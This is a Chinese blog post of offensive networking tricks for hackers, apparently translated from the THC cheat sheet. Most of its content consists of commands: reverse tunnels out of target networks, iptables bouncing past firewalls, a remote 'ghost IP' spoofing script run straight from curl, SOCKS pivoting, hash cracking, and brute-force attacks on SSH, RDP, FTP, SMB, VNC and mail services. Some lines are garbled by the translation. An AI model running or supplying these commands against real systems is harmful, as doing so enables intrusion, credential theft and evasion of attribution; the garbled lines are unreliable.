高级黑客技术-3.网络技巧

黑客在进行网络设置时,会采用一些技巧来提高匿名性、安全性和效率。以下是一些基本的网络设置技巧。


3. 网络

3.1发现主机


#\# ARP disocer computers on the local network  
nmap -r -sn -PR 192.168.0.1/24  



\## ICMP discover computers on the local netowrk  
NET="10.11.0"  \# discover 10.11.0.1-10.11.0.254  
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1  


3.2 tcp转储



\## Monitor every new TCP connection  
tcpdump -np "tcp\[tcpflags\] == tcp-syn"\## Play a \*bing\*-noise for every new SSH connection  
tcpdump -nplq "tcp\[13\] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\\\a; done  
  
\## Ascii output (for all large packets. Change to >40 if no TCP options are used).  
tcpdump -npAq -s0 'tcp and (ip\[2:2\] > 60)'  


3.3隧道与转发



\## Connect to SSL (using socat)  
socat stdio openssl\-connect:smtp.gmail.com:465  
  
\## Connect to SSL (using openssl)  
openssl s\_client \-connect smtp.gmail.com:465  

 

\## Bridge TCP to SSL  
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465  


3.3.1 原始 TCP 反向端口

使用segfault.net[1](免费):


\# Request a random public TCP port:  
curl sf/port  
echo "Your public IP:PORT is $(cat /config/self/reverse\_ip):$(cat /config/self/reverse\_port)"  
nc -vnlp $(cat /config/self/reverse\_port)  

使用bore.pub[2](免费):



\# Forward a random public TCP port to localhost:31337  
bore local 31337 --to bore.pub  

使用serveo.net[3](免费):



\# Forward a random public TCP port to localhost:31337  
ssh -R 0:localhost:31337 serveo.net  

另请参阅remote.moe[4](免费)将原始 TCP 从目标转发到您的工作站或ngrok[5](付费订阅)以转发原始公共 TCP 端口。

其他免费服务仅限于转发 HTTPS(而非原始 TCP)。下面的一些技巧展示了如何通过 HTTPS 转发隧道原始 TCP(使用 Websocket)。


3.3.2 HTTPS 反向隧道

在服务器上,使用以下三种 HTTPS 隧道服务中的任意一种:



\### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:  
ssh -R80:0:8080 -o StrictHostKeyChecking=accept\-new nokey@localhost.run  
\### Or using remote.moe  
ssh -R80:0:8080 -o StrictHostKeyChecking=accept\-new nokey@remote.moe  
\### Or using cloudflared  
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64  
chmod 755 cloudflared  
cloudflared tunnel --url http://localhost:8080 --no\-autoupdate  

任一服务都会生成一个新的临时 HTTPS-URL 供您使用。

然后,在两端使用websocat[6]Gost通过 HTTPS URL 建立原始 TCP 隧道:[7]

A. 通过 HTTPS 的简单 STDIN/STDOUT 管道:




\### On the server convert WebSocket to raw TCP:  
websocat \-s 8080  



\### On the remote target forward stdin/stdout to WebSocket:  
websocat wss://<HTTPS-URL>

B. 通过 HTTPS 转发原始 TCP:



\### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:  
gost -L mws://:8080  

将端口 2222 转发到服务器的端口 22。


\### On the workstation:  
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'\### Test the connection (will connect to localhost:22 on the server)  
nc -vn 127.0.0.1 2222  

或者使用服务器作为 Socks-Proxy EXIT 节点(例如,通过服务器访问服务器网络内的任何主机甚至互联网(使用上面的 HTTPS 反向隧道):



\### On the workstation:  
gost -L :1080 -F 'mwss://<HTTPS-URL>:443'\### Test the Socks-proxy:  
curl -x socks5h://0 ipinfo.io  

更多信息:https://github.com/twelvesec/port-forwarding以及**通过 Cloudflare 到任何 TCP 服务[8]Awesome Tunneling 的[9]**隧道。


3.3.3 使用 iptables 弹跳流量

使用主机 192.168.0.100 作为跳转主机:将任何连接从任意位置转发到 192.168.0.100:53,然后再转发到 1.2.3.4:443。



FPORT\=53  
DSTIP\=1.2.3.4  
DPORT\=443  
echo 1 >/proc/sys/net/ipv4/ip\_forward  
  
iptables -t mangle -C PREROUTING -j CONNMARK --restore-mark || iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark  
iptables -t mangle -A PREROUTING -p tcp --dport ${FPORT:?} -m addrtype --dst-type LOCAL -j MARK --set-mark 1188  
  
iptables -t nat -I PREROUTING -p tcp -m mark --mark 1188 -j DNAT --to ${DSTIP:?}:${DPORT:?}  
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT  
  
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE  
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark  

我们使用这个技巧从防火墙网络深处到达 gsocket-relay-network(或 TOR)。


\# Deploy on a target that can only reach 192.168.0.100  
GS\_HOST=192.168.0.100 GS\_PORT=53 ./deploy.sh  


\# Access the target  
GS\_HOST=1.2.3.4: GS\_PORT=443 gs-netcat -i -s ...  


3.3.4 Ghsot IP/IP欺骗

在目标网络内的主机上很有用。该工具重新配置(无痕迹)SHELL:从此SHELL启动的任何程序(nmap、cme等)都将使用假IP。您的所有攻击都将源自不存在的主机。



source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)  

这也可以与以下组合使用:

  • Segfault 的 ROOT 服务器[10]

:将您的 ROOT 服务器连接到目标网络并使用 taget 网络内的 Ghost IP。

  • QEMU 隧道[11]

:如上所述,但安全性较差。


3.4通过 Socks Proxy 使用任何工具

使用 gsocket 创建从目标到工作站的隧道:

在目标网络上:


#\# Create a SOCKS proxy into the target's network.  
#\# Use gs-netcat but ssh -D would work as well.  
gs-netcat -l -S  

在您的工作站上:



#\# Create a gsocket tunnel into the target's network:  
gs-netcat -p 1080  

使用代理链:


\## Use ProxyChain to access any host on the target's network:  
echo -e "\[ProxyList\]\\nsocks5 127.0.0.1 1080" >pc.conf  
proxychains -f pc.conf -q curl ipinfo.io  
\## Scan the router at 192.168.1.1  
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1  
\## Start 10 nmaps in parallel:  
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}  

使用 GrafTCP:


\## Use graftcp to access any host on the target's network:  
(graftcp-local -select\_proxy\_mode only\_socks5 &)  
graftcp curl ipinfo.io  
graftcp ssh root@192.168.1.1  
graftcp nmap -n -Pn -sV -F --open 19.168.1.1  


3.5 查找您的公共 IP 地址



curl -s wtfismyip.com/json | jq  
curl ifconfig.me  
dig +short myip.opendns.com @resolver1.opendns.com  
host myip.opendns.com resolver1.opendns.com  

获取有关任何 IP 地址的地理位置信息:


curl https://ipinfo.io/8.8.8.8 | jq  
curl http://ip-api.com/8.8.8.8  
curl https://cli.fyi/8.8.8.8  

通过IP地址获取ASN信息:


asn() {  
  \[\[ -n $1 \]\] && { echo -e "begin\\nverbose\\n${1}\\nend"|netcat whois.cymru.com 43| tail -n +2; return; }  
  (echo -e 'begin\\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2  
}  
asn 1.1.1.1           \# Single IP Lookup  
cat IPS.txt | asn     \# Bulk Lookup  

检查 TOR 是否正常工作:


curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip  
\### Result should be {"IsTor":true...  


3.6检查世界各地的可达性

**https://ping.pe/**上的优秀人员可以让您 ping/traceroute/mtr/dig/port - 检查来自世界各地的主机、检查 TCP 端口、解析域名等等。

要检查您的(当前)主机连接互联网的情况,请使用OONI Probe[12]


ooniprobe run im  
ooniprobe run websites  
ooniprobe list  
ooniprobe list 1  


3.7检查/扫描 IP 上的开放端口

**Censys[13]Shodan[14]**端口查找服务:


curl https://internetdb.shodan.io/1.1.1.1  

快速(-F)漏洞扫描


\# Version gathering  
nmap \-sCV \-F \-Pn \--min\-rate 10000 scanme.nmap.org  
\# Vulns  
nmap \-A \-F \-Pn \--min\-rate 10000 \--script vulners.nse \--script\-timeout\=5s scanme.nmap.org  

使用bash:


timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED  


3.8破解密码哈希

  1. NTLM2password[15]

破解(查找)NTLM密码

  1. wpa-sec[16]

破解(查找)WPA PSK 密码

HashCat 是我们处理其他事情的首选工具:


hashcat my\-hash /usr/share/wordlists/rockyou.txt  

或者在 GPU 上使用10 天的 7-16 字符哈希掩码:[17]


curl -fsSL https://github.com/sean-t-smith/Extreme\_Breach\_Masks/raw/main/10%2010-days/10-days\_7-16.hcmask -o 10-days\_7-16.hcmask  
\# -d2 == Use GPU #2 only (device #2)  
\# -O  == Up to 50% faster but limits password length to <= 15  
\# -w1 == workload low (-w3 == high)  
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days\_7-16.hcmask -O -d2  

阅读常见问题解答[18]

请注意,666哈希值很慢。即使是**1 分钟的 7-16 个字符的哈希掩码[19]**在 8xRTX4090 集群上也需要很多天才能完成。

在vast.ai[20]租用 GPU 集群并使用dizcza/docker-hashcat[21]了解更多[22])。

否则,请使用Crackstation[23]shuck.sh[24]ColabCat/cloud[25] / **Cloudtopolis[26]或在您自己的AWS[27]**实例上进行破解。

用户名和密码列表:

  • /usr/share/nmap/nselib/data

  • /usr/share/wordlists/seclists/Passwords

  • https://github.com/berzerk0/Probable-Wordlists

- >THC 最喜欢的<

  • https://github.com/danielmiessler/SecLists

  • https://wordlists.assetnote.io

  • https://weakpass.com

  • https://crackstation.net/

设置用户名/密码列表和目标主机。


ULIST="/usr/share/wordlists/brutespray/mysql/user"  
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"  
T="192.168.0.1"  

有用的Nmap参数:



\--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly  

有用的Ncrack参数:


\-U "${ULIST}"  
\-P "${PLIST}"  

有用的Hydra参数:


\-t4      \# Limit to 4 tasks  
\-l root  \# Set username  
\-V       \# Show each login/password attempt  
\-s 31337 \# Set port  
\-S       \# Use SSL  
\-f       \# Exit after first valid login  

## SSH
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s “T"ncrack−P"T" ncrack -P "T"ncrackP"{PLIST}” --user root “ssh://T"hydra−P"{T}" hydra -P "T"hydraP"{PLIST}” -l root “ssh://$T”


\## Remote Desktop Protocol / RDP  
ncrack -P "${PLIST}" --user root -p3389 "${T}"  
hydra -P "${PLIST}" -l root "rdp://$T"  



\## FTP  
hydra -P "${PLIST}" -l user "ftp://$T"  

## IMAP (email)
nmap -p 143,993 --script imap-brute “$T”



\## POP3 (email)  
nmap -p110,995 --script pop3-brute "$T"  


\## MySQL  
nmap -p3306 --script mysql-brute "$T"  


\## PostgreSQL  
nmap -p5432 --script pgsql-brute "$T"  


\## SMB (windows)  
nmap --script smb-brute "$T"  


\## Telnet  
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"  


\## VNC  
nmap -p5900 --script vnc-brute "$T"  
ncrack -P "${PLIST}" --user root "vnc://$T"  
hydra -P "${PLIST}" "vnc://$T"  
medusa -P "${PLIST}" –u root –M vnc -h "$T"  


\## VNC (with metasploit)  
msfconsole  
use auxiliary/scanner/vnc/vnc\_login  
set rhosts 192.168.0.1  
set pass\_file /usr/share/wordlists/seclists/Passwords/500\-worst\-passwords.txt  
run  


\## HTML basic auth  
echo admin >user.txt                     \# Try only 1 username  
echo -e "blah\\naaddd\\nfoobar" >pass.txt  \# Add some passwords to try. 'aaddd' is the valid one.  
nmap -p80 --script http-brute --script-args \\  
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \\  
   pentesteracademylab.appspot.com  


💡免责声明

本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。

本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员一粟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值